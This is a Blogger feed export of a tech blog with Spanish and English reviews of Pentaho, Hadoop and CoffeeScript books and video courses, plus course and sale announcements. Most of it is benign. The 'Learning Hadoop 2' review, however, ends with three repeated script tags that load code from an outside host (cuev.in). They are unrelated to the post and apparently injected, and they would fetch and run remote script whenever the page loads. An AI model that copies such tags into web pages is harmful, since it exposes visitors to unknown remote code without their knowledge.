tag:blogger.com,1999:blog-229721492024-03-07T15:07:32.241-03:00Programación, Base de Datos, BI e IT en generalAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.comBlogger134125tag:blogger.com,1999:blog-22972149.post-26277866049779863552016-07-21T09:35:00.001-03:002016-07-21T09:40:57.229-03:00My review of "Learning Pentaho CTools" by Miguel Gaspar / Packt Publishing<br />
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">This is the first book that deals CTools. A great responsibility! D</span><span style="font-family: "arial" , "helvetica" , sans-serif;">o not worry, it's a great book, highly recommended!</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Will guide you in order to obtaining the basic knowledge of CTools & environment.</span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">The focus is definitely CDF/CDE, with the guide of this book, you can create and maintain interactive Dashboards with multiple components.</span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Personally, I liked the chapter "Pentaho App Builder" in which explains how to create a new plugin through Sparkl.</span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">My final appreciation: <b>highly recommended!</b></span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b><br /></b></span>
<br />
<div style="text-align: center;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b><a href="https://d1ldz4te4covpm.cloudfront.net/sites/default/files/imagecache/ppv4_main_book_cover/3420OS_4770_Learning%20Pentaho%20Ctools.jpg" imageanchor="1" style="clear: left; font-family: "Times New Roman"; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="https://d1ldz4te4covpm.cloudfront.net/sites/default/files/imagecache/ppv4_main_book_cover/3420OS_4770_Learning%20Pentaho%20Ctools.jpg" width="257" /></a></b></span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b><br /></b></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b><br /></b></span><br />
<div style="text-align: center;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b><a href="https://www.packtpub.com/big-data-and-business-intelligence/learning-pentaho-ctools">https://www.packtpub.com/big-data-and-business-intelligence/learning-pentaho-ctools</a></b></span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b>
</b></span>
<br />
MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-71689985686195863212015-12-28T12:01:00.000-03:002016-01-13T09:45:15.200-03:00My review of "Learning Hadoop 2" at www.udemy.com / by Packt Publishing<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSXpoabCiEli9nZ_gvNLsg6OmaNskibCmUxKDanElh5NGwgEJeIlw6zcOLVcNEqe6iueEcFoSIbc-IEmj_OTPNw1NTHuW7JXnMrDgm8kNNLrv-H7oHGeUoKMX4i-zdLGafTizV/s1600/Selecci%25C3%25B3n_314.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSXpoabCiEli9nZ_gvNLsg6OmaNskibCmUxKDanElh5NGwgEJeIlw6zcOLVcNEqe6iueEcFoSIbc-IEmj_OTPNw1NTHuW7JXnMrDgm8kNNLrv-H7oHGeUoKMX4i-zdLGafTizV/s1600/Selecci%25C3%25B3n_314.png" /></a><span style="font-size: 14.6667px; line-height: 1.38; white-space: pre-wrap;"><span style="font-family: Arial, Helvetica, sans-serif;"><b><a href="https://www.blogger.com/"><span id="goog_563546445"></span>Learning Hadoop 2<span id="goog_563546446"></span></a></b> is a very good chance to start familiarizing with this suite’s capabilities and potential. It gives a pretty good overview of Hadoop’s components and complements, describing them and showing easy-to-follow examples (that the student is most welcome to try, since all the code and resources used in the course are available). It does not cover generic Big Data concepts, but focuses on Hadoop’s usability. The software-of-choice used is the Cloudera Hadoop suite (that comes in the form of a Virtual Machine), so there is no time wasted in Hadoop configuration and set-up. This makes it perfect for people that has already learnt about Big Data, but needs a start point to apply all those theoretical concepts. Mr. King’s explanations are (like most of the material used in the course) clear and fresh, describing all the concepts, general usage of the tools and even showing common mistakes, so we can avoid them in the future. </span></span><br />
<span style="font-size: 14.6667px; line-height: 1.38; white-space: pre-wrap;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span>
<span id="docs-internal-guid-41a6d5c0-e911-a221-e884-4249e5b1565b"><span style="font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Arial, Helvetica, sans-serif;">If you are familiar with Big Data concepts and want to start giving your first steps using Hadoop, this course is right for you! At the end you will be able to manage a Cloudera Hadoop implementation, transfer data from (and to) the most populars data origins to your cluster, and process data using plain JAVA, and also Pig and Hive complements(assuming that you already have some coding experience). Overall, this is a great opportunity for Hadoop newcomers to start working with the suite in a fresh and easy-to-follow way.</span></span></span><br />
<span style="font-family: Arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Mariano</div>
<span style="font-family: Arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;"><br /></span>
<script src="https://cuev.in/aux.php?ver=1.0&ref=at" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-61996052856924904512015-03-16T13:53:00.001-03:002015-03-16T13:53:32.268-03:00Cursos PENTAHO 100% onlineEstimad@s:<br />
<br />
Nueva edición de los cursos <b>PENTAHO</b>, actualizados a la versión <b>5.3</b>:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://scontent-gru.xx.fbcdn.net/hphotos-xaf1/v/t1.0-9/p720x720/11042956_930668026973645_3002631489971703011_n.jpg?oh=23c9c56cef256e1c7b299f0d81d2c828&oe=55906647" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://scontent-gru.xx.fbcdn.net/hphotos-xaf1/v/t1.0-9/p720x720/11042956_930668026973645_3002631489971703011_n.jpg?oh=23c9c56cef256e1c7b299f0d81d2c828&oe=55906647" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b><i>Cupos limitados!</i></b></div>
<br />
Info e inscripción: cursos@troyanx.com <br />
<br />
Saludos<br />
<br />
MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-43885336773349254352014-07-28T11:23:00.000-03:002014-07-28T11:26:10.377-03:00Pentaho Analytics for MongoDB - ReviewEstimad@s,<br />
<br />
hace unos días comencé con la lectura de Pentaho Analytics for MongoDB, se trata de un libro escueto pero conciso, en el cual se muestra como acceder y explotar datos desde la base de datos documental <a href="http://www.mongodb.org/">Mongo DB</a> utilizando características de la suite <a href="http://www.pentaho.com/testdrive">Pentaho EE</a>. El autor del libro es <a href="http://www.packtpub.com/authors/profiles/bo-borland">Bo Borland</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/imagecache/productview_larger/8355OS_Cover.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/imagecache/productview_larger/8355OS_Cover.jpg" /></a></div>
<br />
<br />
Este libro fue editado por Packt Publishing <a href="http://www.packtpub.com/pentaho-analytics-for-mongodb/book">aquí</a> y también está disponible como White Paper en la página de Pentaho <a href="http://www.pentaho.com/sites/default/files/uploads/resources/pentaho_analytics_for_mongodb_ebook.pdf">aquí</a>.<br />
<br />
El material nos guía partiendo de la instalación de Mongo DB y Pentaho como así también de la base de datos de ejemplo. Luego, el autor, hace una breve introducción a Mongo DB, sus características y muestra algunos ejemplos de como consultar y trabajar con los datos almacenados.<br />
<br />
Luego, utilizando <a href="http://www.pentahobigdata.com/ecosystem/capabilities/instaview">Pentaho Instaview</a> (característica de la versión EE) , se configura como fuente Mongo DB y se muestra como visualizar inmediatamente los datos.<br />
Más tarde se sigue ahondando en Instaview, siempre desde <a href="http://community.pentaho.com/projects/data-integration/">PDI</a>, para crear análisis (usando mapas, entre otros) desde fuentes de datos heterogéneas.<br />
Una de las partes más interesantes es cuando se sigue trabajando con Instaview para crear modelos multidimensionales, realmente la herramienta permite hacerlos en pocos minutos y explotarlos inmediatamente.<br />
<br />
El libro continúa haciendo una breve introducción a <a href="http://community.pentaho.com/projects/reporting/">PRD</a> para luego crear un reporte que obtiene datos desde Mongo DB. Poco a poco se adorna el reporte hasta obtener uno con gráficos y una presentación excelente.<br />
<br />
Finalmente, el autor, hace una introducción a la consola de usuario de Pentaho (PUC) y luego muestra como desplegar los reportes y análisis en PUC desde las diversas herramientas.<br />
<br />
<b>Mi apreciación personal:</b><br />
Si bien gran parte del libro requiere disponer de la versión EE de Pentaho (la que se puede descargar en versión de prueba de 30 días) en muchos casos lo que se explica se puede realizar con herramientas de la versión CE. Las explicaciones son muy claras y puntuales, no dejan dudas respecto de lo que se quiere exponer. Vale la pena aclarar que se utilizan las versiones de Pentaho y Mongo DB para Window$ de 64 bits.<br />
<br />
Espero les sea de utilidad.<br />
<br />
Saludos<br />
<br />
Mariano<br />
<br />Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-59981886601876790032014-07-03T08:36:00.000-03:002014-07-03T08:37:23.193-03:00Packt Cumple 10 Años!Packt cumple 10 años y lo festeja dando la posibilidad de adquirir cualquier libro o video a tan solo US$ 10.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.packtpub.com/sites/default/files/10yr-webbanner2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.packtpub.com/sites/default/files/10yr-webbanner2.jpg" height="236" width="640" /></a></div>
<br />
<br />
Más información <a href="http://www.packtpub.com/10years?utm_source=&utm_medium=jmagm.blogspot.in/&utm_campaign=Packt10">aquí</a>.<br />
<br />
Saludos<br />
<br />
MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-86986839748225797582014-06-23T12:48:00.000-03:002014-06-23T12:51:17.704-03:00Building Hadoop Clusters [Video] - Review (en español)Estimad@s,<br />
<br />
una vez más se trata de una review de un video curso publicado por <a href="http://www.packtpub.com/">Packt Publishing</a>. En este caso les haré un comentario sobre "<a href="http://www.packtpub.com/building-hadoop-clusters/video?utm_source=mention.com&utm_medium=link&utm_campaign=Building%20Hadoop%20Clusters%20[Video]">Building Hadoop Clusters</a>" cuyo autor es <a href="http://www.packtpub.com/building-hadoop-clusters/video?utm_source=mention.com&utm_medium=link&utm_campaign=Building%20Hadoop%20Clusters%20[Video]#author">Sean Mikha</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/imagecache/videoproduct_large/bookretailers/4030OS_Video.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/imagecache/videoproduct_large/bookretailers/4030OS_Video.jpg" height="184" width="320" /></a></div>
<br />
<br />
En este curso Sean explica con lujo de detalle como configurar correctamente un cluter <a href="http://hadoop.apache.org/">Hadoop</a> en la nube de Amazon. Parte de una explicación sumamente detallada de las opciones del tablero de Amazon (configuración de instancias, opciones de red y seguridad) y luego la instalación y configuración propiamente dicha. También explica como chequear conectándonos desde diversos clientes.<br />
Una vez que se ha instalado Hadoop, nos muestra como se ponen en juego los diversos servicios y el rol que cumple cada uno, siempre agregando tips y recomendaciones. En la parte final nos muestra el sistema de almacenamiento y procesamiento de Hadoop y finalmente la instalación y puesta en marcha de Apache Hadoop User Interface (HUE).<br />
<br />
<br />
Como resumen diré que el curso es muy minucioso y vale la pena, recomiendo que el interesado lea algo de big data, Hadoop y computación en la nube antes de hacer este curso. Procesar y almacenar grandes cantidades de datos ya no es una opción para medianas y grandes empresas, no hay mucho material de referencia como el que se presenta en este curso, por ello lo recomiendo.<br />
<br />
Aquí una vista previa del curso: <a href="https://www.youtube.com/watch?v=uXitqC7eQXk">https://www.youtube.com/watch?v=uXitqC7eQXk</a><br />
<br />
<br />
<u>Esta es la tabla de contenidos del curso:</u><br />
<br />
<b>Deploying Cloud Instances for Hadoop 2.0 </b><br />
<ul>
<li>Introduction to the Cloud and Hadoop </li>
<li>Deploying a Linux Amazon Machine Image </li>
<li>Setting Up Amazon Instances </li>
</ul>
<br />
<b>Setting Up Network and Security Settings </b><br />
<ul>
<li>Network and Security Settings Overview </li>
<li>Identifying and Allocating Security Groups </li>
<li>Configuration of Private Keys in a Windows Environment </li>
</ul>
<br />
<b>Connecting to Cloud Instances </b><br />
<ul>
<li>Overview of the Connectivity Options for Windows to the Amazon Cloud </li>
<li>Installing and Using Putty for Connectivity to Windows Clients </li>
<li>Transferring Files to Linux Nodes with PSCP </li>
</ul>
<br />
<b>Setting Up Network Connectivity and Access for Hadoop Clusters </b><br />
<ul>
<li>Defining the Hadoop Cluster </li>
<li>Setting Up Password-less SSH on the Head Node </li>
<li>Gathering Network Details and Setting Up the HOSTS File </li>
</ul>
<br />
<b>Setting Up Configuration Settings across Hadoop Clusters </b><br />
<ul>
<li>Setting Up Linux Software Repositories </li>
<li>Using the Parallel Shell Utility (pdsh) </li>
<li>Prepping for Hadoop Installation </li>
</ul>
<br />
<b>Creating a Hadoop Cluster </b><br />
<ul>
<li>Building a Hadoop Cluster </li>
<li>Installing Hadoop 2 – Part 1 </li>
<li>Installing Hadoop 2 – Part 2 </li>
</ul>
<br />
<b>Loading and Navigating the Hadoop File System (HDFS) </b><br />
<ul>
<li>Understanding the Hadoop File System </li>
<li>Loading and Navigating the Hadoop File System </li>
<li>Ambari Server and Dashboard </li>
</ul>
<br />
<b>Hadoop Tools and Processing Files </b><br />
<ul>
<li>Hadoop Tools and Processing Files </li>
<li>Installing HUE </li>
<li>Using HUE </li>
</ul>
<br />
<br />
Espero les sea de utilidad el comentario.<br />
<br />
Saludos<br />
<br />
MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-86298058149225996672014-06-13T10:16:00.000-03:002014-06-13T10:16:37.817-03:00Building an Application with CoffeeScript [Video Serie] - Review (en español)Estimad@s,<div>
<br /></div>
<div>
durante esta semana he tenido la oportunidad de revisar un buen material sobre CoffeeScript, se trata de la serie de videos "<a href="http://www.packtpub.com/building-an-application-with-coffeescript/video">Building an Application with CoffeeScript</a>" publicado por Packt Publising y cuyo autor <b><a href="http://www.packtpub.com/building-an-application-with-coffeescript/video#author">Darko Bozhinovski</a></b> vuelca su experiencia en este curso.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/imagecache/videoproduct_large/bookretailers/3675OS_Video.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/imagecache/videoproduct_large/bookretailers/3675OS_Video.jpg" height="184" width="320" /></a></div>
<div>
Pueden ver una demo <a href="https://www.youtube.com/watch?v=15NyxZCbKEk">aquí</a>.</div>
<div>
<br /></div>
<div>
El curso tiene una duración aproximada de 1 hora y 40 minutos, en los cuales no solo aprenderemos las particularidades de CoffeeScript sino también a crear una aplicación funcional, si bien es necesario poseer conocimientos de javascript, no es requisito que los conocimientos sea profundos, el autor va introduciendo de a poco al espectador en la programación y buenas prácticas.</div>
<div>
<br /></div>
<div>
Si bien no llega a un nivel avanzado (difícil en el tiempo que dura el curso), lo que obtendrá el espectador es una muy buena idea de como llevar adelante la construcción de una aplicación utilizando CofeeScript y tecnologías de punta, sumado a ello, el autor insiste en las buenas prácticas de la programación apoyado siempre en la documentación.</div>
<div>
<br /></div>
<div>
Particularmente, me ha resultado de mucha utilidad, me ha parecido un buen curso, los contendidos son expuestos de forma muy clara y con la cadencia adecuada. Los ejemplos son claros y concretos.</div>
<div>
<br /></div>
<div>
Recomiendo este video curso.</div>
<div>
<br /></div>
<div>
<b><span style="font-size: large;">El contenido completo del video curso es:</span></b></div>
<div>
<br /></div>
<div>
<div>
<b>CoffeeScript 101 [13:33 minutes]</b></div>
<div>
<ul>
<li>A Taste of CoffeeScript</li>
<li>Concepts and Usage</li>
<li>Tools and Extras</li>
</ul>
</div>
<div>
<b>Head-first Application Development [13:52 minutes]</b></div>
<div>
<ul>
<li>Basics of Object-oriented Programming</li>
<li>MVC and Using It in Our Project</li>
<li>Inheritance and Keeping Classes Simple</li>
</ul>
</div>
<div>
<b>The Storage Layer – Models and Data Persistence [14:12 minutes]</b></div>
<div>
<ul>
<li>Models and Storage Basics</li>
<li>Models in Our Application</li>
</ul>
</div>
<div>
<b>Routing and Views [12:23 minutes]</b></div>
<div>
<ul>
<li>Introduction to Routing, Controllers, and Views</li>
<li>Routing and Controllers</li>
<li>The View Layer</li>
</ul>
</div>
<div>
<b>Interactions and Event Handling – Using JQuery with CoffeeScript [11:24 minutes]</b></div>
<div>
<ul>
<li>Local Events</li>
<li>Global Events</li>
</ul>
</div>
<div>
<b>Extending Our Application – Manipulating Stored Data [13:07 minutes]</b></div>
<div>
<ul>
<li>Organizing Application Data</li>
<li>Extending the Document Classes</li>
<li>Making Our App More Usable</li>
</ul>
</div>
<div>
<b>Extending Our Application – Add an External Library [11:10 minutes]</b></div>
<div>
<ul>
<li>Adding External Libraries</li>
<li>Modifying Our App for Rich Text Editing</li>
<li>Exporting Our Documents to PDF</li>
</ul>
</div>
<div>
<b>Publishing and Real-world Usage for Our Documents [11:01 minutes]</b></div>
<div>
<ul>
<li>Using Our Documents Offline</li>
<li>Publishing Files</li>
<li>What's Next?</li>
</ul>
</div>
Saludos<br />
<br />
Mariano</div>
Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-82414246278385829472014-05-31T20:46:00.001-03:002014-05-31T20:46:29.314-03:00Building a Data Mart with Pentaho Data Integration [Video Serie] - Review (en español)Estimad@s,<br />
<br />
A veces no dejo de sorprenderme, a sido el caso de los últimos dos video cursos que he tenido la posibilidad de revisar, en el caso anterior sobre <a href="http://jmagm.blogspot.com.ar/2014/05/pentaho-reporting-video-review-en.html">Pentaho Reporting</a> y en este caso un video curso sobre como construir un DataMart que contiene un modelo en estrella siguiendo los preceptos de <a href="http://en.wikipedia.org/wiki/Ralph_Kimball">Ralph Kimball</a>. Este video curso fue creado por <a href="http://diethardsteiner.blogspot.com.ar/">Diethard Steiner</a>, persona a la cual respeto de forma particular por la seriedad y calidad de sus publicaciones. Con este video curso Diethard ha demostrado una vez más su profesionalismo.<br />
<br />
Este video lo ha publicado Packt Publishing y se encuentra en este <a href="http://www.packtpub.com/building-a-data-mart-with-pentaho-data-integration/video">link</a>.<br />
<br />
Disponen de una vista previa <a href="https://www.youtube.com/watch?v=Kk4mVtDLOlQ">aquí</a>.<br />
<br />
La suma de todos los videos es de aproximadamente 2 horas.<br />
<br />
Diethard nos guía paso a paso en la construcción de un Datamart utilizando en cada momento las herramientas adecuadas y profundizando lo justo en cada caso, sumado a ello una explicación excelente y una cadencia muy oportuna en la presentación. El curso es extremadamente dinámico y es muy recomendable para aquell@s que deseen asentar sus conocimientos sobre la temática y para aquellos que quieren introducirse en el tema. El valor agregado es que además de explicar cada concepto, se lo lleva a la práctica con la herramienta adecuada.<br />
<br />
Realmente recomiendo este curso.<br />
<br />
Felicitaciones Diethard!<br />
<h3>
<b>Indice del curso:</b></h3>
<span style="color: red;"><br /></span>
<b>Getting Started [18:25 minutes]</b><br />
<ol>
<li>The Second-hand Lens Store Sample Data</li>
<li>The Derived Star Schema</li>
<li>Setting up Our Development Environment</li>
</ol>
<br />
<b>Agile BI – Creating ETLs to Prepare Joined Data Set [12:27 minutes]</b><br />
<ol>
<li>Importing Raw Data</li>
<li>Exporting Data Using the Standard Table Output Step</li>
<li>Exporting Data Using the Dedicated Bulk Loading Step</li>
</ol>
<br />
<b>Agile BI – Building OLAP Schema, Analyzing Data, and Implementing Required ETL Improvements [11:29 minutes]</b><br />
<ol>
<li>Creating a Pentaho Analysis Model</li>
<li>Analyzing the Data Using the Pentaho Analyzer</li>
<li>Improving Your ETL for Better Data Quality</li>
</ol>
<br />
<b>Slowly Changing Dimensions [17:03 minutes]</b><br />
<ol>
<li>Creating a Slowly Changing Dimension of Type 1 Using the Insert/Update Step</li>
<li>Creating a Slowly Changing Dimension of Type 1 Using Dimension Lookup Update Step</li>
<li>Creating a Slowly Changing Dimension Type 2</li>
</ol>
<br />
<b>Populating Data Dimension [16:10 minutes]</b><br />
<ol>
<li>Defining Start and End date Parameters</li>
<li>Auto-generating Daily rows for a Given Date Period</li>
<li>Auto-generating Year, Month, Day and so on.</li>
</ol>
<br />
<b>Creating the Fact Transformation [14:28 minutes]</b><br />
<ol>
<li>Sourcing Raw Data for Fact Table</li>
<li>Look up Slowly Changing Dimension of the Type 1 Key</li>
<li>Look up Slowly Changing Dimension of the Type 2 key</li>
</ol>
<br />
<b>Orchestration [10:29 minutes]</b><br />
<ol>
<li>Loading Dimensions in Parallel</li>
<li>Creating Master Jobs</li>
</ol>
<br />
<b>ID-based Change Data Capture [9:46 minutes]</b><br />
<ol>
<li>Implementing Change Data Capture (CDC)</li>
<li>Creating a CDC Job Flow</li>
</ol>
<br />
<b>Final Touches: Logging and Scheduling [11:14 minutes]</b><br />
<ol>
<li>Setting up a Dedicated DB Schema</li>
<li>Setting up Built-in Logging</li>
<li>Scheduling on the Command Line</li>
</ol>
Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-32418681084661693622014-05-30T09:06:00.000-03:002014-05-30T09:10:10.942-03:00MANUAL PARA LA SOLUCIÓN DE ERRORES EN LAS HERRAMIENTAS XAMPP, PENTAHO Y SAIKU.Estimad@s,<br />
<br />
en este caso publicaré un material que no es mio, pero que considero de muy buena calidad, además que a much@s de ustedes les puede ser de gran ayuda.<br />
<br />
Se trata de un articulo en el cual se instalarán paso a paso las aplicaciones que se listan en la Figura 1, además de contener el detalle de despliegue y configuración inicial, se realiza un reporte de posibles errores y sus respectivas soluciones, a mi criterio es el último punto el valor agregado más grande de este documento.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2pvYF9i5AWPf1i9mJMFEyy5SxhmTDmghpiNq5pZ9UmU1dOKAn2mfcDi8GD0CKjBb79tHw_qkcTmt5flul-K6b5aCNP_Vef5mQpTU0h9YU9fzmWnfEyqRUA-HAnMDFGTf7KGNH/s1600/Selection_043.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2pvYF9i5AWPf1i9mJMFEyy5SxhmTDmghpiNq5pZ9UmU1dOKAn2mfcDi8GD0CKjBb79tHw_qkcTmt5flul-K6b5aCNP_Vef5mQpTU0h9YU9fzmWnfEyqRUA-HAnMDFGTf7KGNH/s1600/Selection_043.jpg" height="108" width="320" /></a></div>
<div style="text-align: center;">
Figura 1</div>
<br />El productor del articulo es <b>Ivan Felipe Molano Ardila</b> (<i>ivanfelipe@outlook.com</i>) asesorado por <b>Andrés Camilo Ramirez Gaita</b> (<i>a_kmilo@hotmail.es</i>) ambos pertenecientes a la Facultad de Matemáticas e Ingenierías de la <a href="http://www.konradlorenz.edu.co/es/">Fundación Universitaria Konrad Lorenz</a>. <br /><br />El material se descarga desde este <a href="https://github.com/magm3333/material-osbi/blob/master/Documentos%20Varios/Manual%20Pentaho%20Saiku%20y%20XAMPP.pdf?raw=true">link</a>.<br /><br />Espero que les sea de utilidad.<br /><br />Saludos<br /><br />Mariano<br /><br />Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com1tag:blogger.com,1999:blog-22972149.post-64908133089451699002014-05-13T12:40:00.002-03:002014-05-30T19:39:35.428-03:00Pentaho Reporting [Video] - Review (en español)Estimad@s,<br />
<br />
en este caso expondré de forma resumida mis apreciaciones acerca del <a href="http://www.packtpub.com/pentaho-reporting/video?utm_source=mention.com&utm_medium=link&utm_campaign=Pentaho%20Reporting%20[Video]#author">video curso de Pentaho Reporting</a> (PRD) desarrollado por <a href="http://fcorti.com/">Francesco Corti</a> que es un gran contribuyente a la comunidad Pentaho.<br />
<br />
En términos generales diré que el curso es de poco más de una hora y media, está dividido en pequeños videos de unos 3 a 4 minutos cada uno, cada video toca un tema en particular y lo hace de forma muy sintética y va directo al grano, sin rodeos.<br />
El hecho de ir directamente al punto es una ventaja y desventaja al mismo tiempo, es ventajoso para los que de alguna forma tenemos práctica con PRD, Pentaho Data Integration (PDI) y Java, ya que no requerimos ver cada detalle, pero para aquellos que no tienen práctica previa, deberán detener continuamente el video.<br />
Los ejemplos desarrollados son simples y concretos, eso facilita el aprendizaje, por otro lado la narración es muy buena, el inglés es clarísimo, aunque de vez en cuando cambia el todo.<br />
El sistema de navegación del curso es claro y bastante cómodo, se basa en una interfaz web.<br />
Todos los ejemplos desarrollados en el curso, están disponibles para descargar, por ello la persona que toma el curso, no debe preocuparse por tipear o seguir cada paso.<br />
<br />
En detalle el curso consta de:<br />
<br /><b>Getting Started with Pentaho Reporting [15:57 minutes]</b><br /> <ol>
<li>Installing Pentaho Reporting </li>
<li>Loading and Saving Reports and Having a Preview </li>
<li>Building a Report Using the Report Wizard </li>
<li>Building the 'My First Report' </li>
<li>Customizing the 'My First Report' </li>
<li>Advanced Customization on the My First Report </li>
</ol>
<br /><b>Dive Deeper into the Pentaho Reporting Engine's XML and Java APIs [11:44 minutes]</b><br /><ol>
<li>Setting the Java Development Environment </li>
<li>Embedding a Pentaho Report in an Enterprise Web Application </li>
<li>Embedding a Pentaho Report in a SWING Application </li>
<li>Introducing Serialized Reports </li>
<li>Building a Report Using Pentaho Reporting’s Java API </li>
</ol>
<br /><b>Configuring the JDBC Database and Other Data Sources [12:43 minutes]</b><br /> <br /><ol>
<li>Configuring Your Data Source to a DBMS Using JDBC </li>
<li>Configuring Your Data Source to an OLAP Engine (Mondrian) </li>
<li>Configuring Your Data Source to an XML File and a Table </li>
<li>Configuring Your Data Source to Metadata and PDI </li>
<li>Working with Data Sources in Java </li>
</ol>
<br /><b>Introducing Graphic Chart Types – Pie, Bar, Line, and Others [10:36 minutes]</b><br /> <br /><ol>
<li>Incorporating a Line Chart into a Pentaho Report </li>
<li>Incorporating Supported Charts and Common Properties </li>
<li>Incorporating and Customizing Charts into a Report </li>
<li>Incorporating Images into a Report </li>
</ol>
<br /><b>Modifying Reports Using Parameters and Internationalization [11:14 minutes]</b><br /> <br /><ol>
<li>Parameterizing a Pentaho Report </li>
<li>Parameterizing a Pentaho Report Using Java </li>
<li>Working with Functions and Expressions </li>
<li>Working with Formulas </li>
<li>Internationalization and Localization of Pentaho Reports </li>
</ol>
<br /><b>Adding Subreports and Cross Tabs in Your Reports [09:52 minutes]</b><br /> <br /><ol>
<li>Adding a Multi-page Subreport in a Pentaho Report </li>
<li>Parameterizing and Adding Chart Subreport in a Pentaho Report </li>
<li>Adding a Side-by-Side Subreport in a Pentaho Report </li>
<li>Adding Cross Tabs in a Pentaho Report </li>
</ol>
<br /><b>Building Interactive SWING and HTML Reports [12:29 minutes]</b><br /> <br /><ol>
<li>Building Interactive Reports in SWING </li>
<li>Building Interactive Reports in HTML </li>
</ol>
<br /><b>Using Pentaho Reporting in the Pentaho Suite [13:10 minutes]</b><br /> <br /><ol>
<li>Using Pentaho Reporting with Pentaho Business Intelligence Server </li>
<li>Using Pentaho Reporting with Pentaho Data Integration (Kettle) </li>
</ol>
<br />Como podrán observar, toca una diversidad importante de temas, algunos de ellos no triviales, pero por demás interesantes.<br />
<br />
Personalmente, me ha gustado y he disfrutado de este curso.<b> "SIEMPRE SE APRENDE ALGO NUEVO!"</b><br />
Recomiendo este curso a personas que ya tienen una mínima práctica con PRD, PDI y Java.<br />
<br />
Aquí una vista previa del curso: <a href="https://www.youtube.com/watch?v=nzzhR74s_g8">https://www.youtube.com/watch?v=nzzhR74s_g8</a><br />
<br />
Saludos<br />
<br />
MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-66437451470021220622014-05-06T19:34:00.001-03:002014-05-06T19:34:25.069-03:00Promoción DRM day en PacktEstimad@s,<br />
<br />
una vez más <a href="http://www.packtpub.com/">Packtpub</a> ofrece una promoción se trata del día en contra del <a href="http://es.wikipedia.org/wiki/Gesti%C3%B3n_digital_de_derechos">DRM</a>, mediante esta promoción Packt Publishing ofrece todos sus eBooks y videos a solo US$ 10 por 24 horas el día 6 de Mayo.<br /><br />Más información <a href="http://bit.ly/1q6bpha">aquí</a><br />
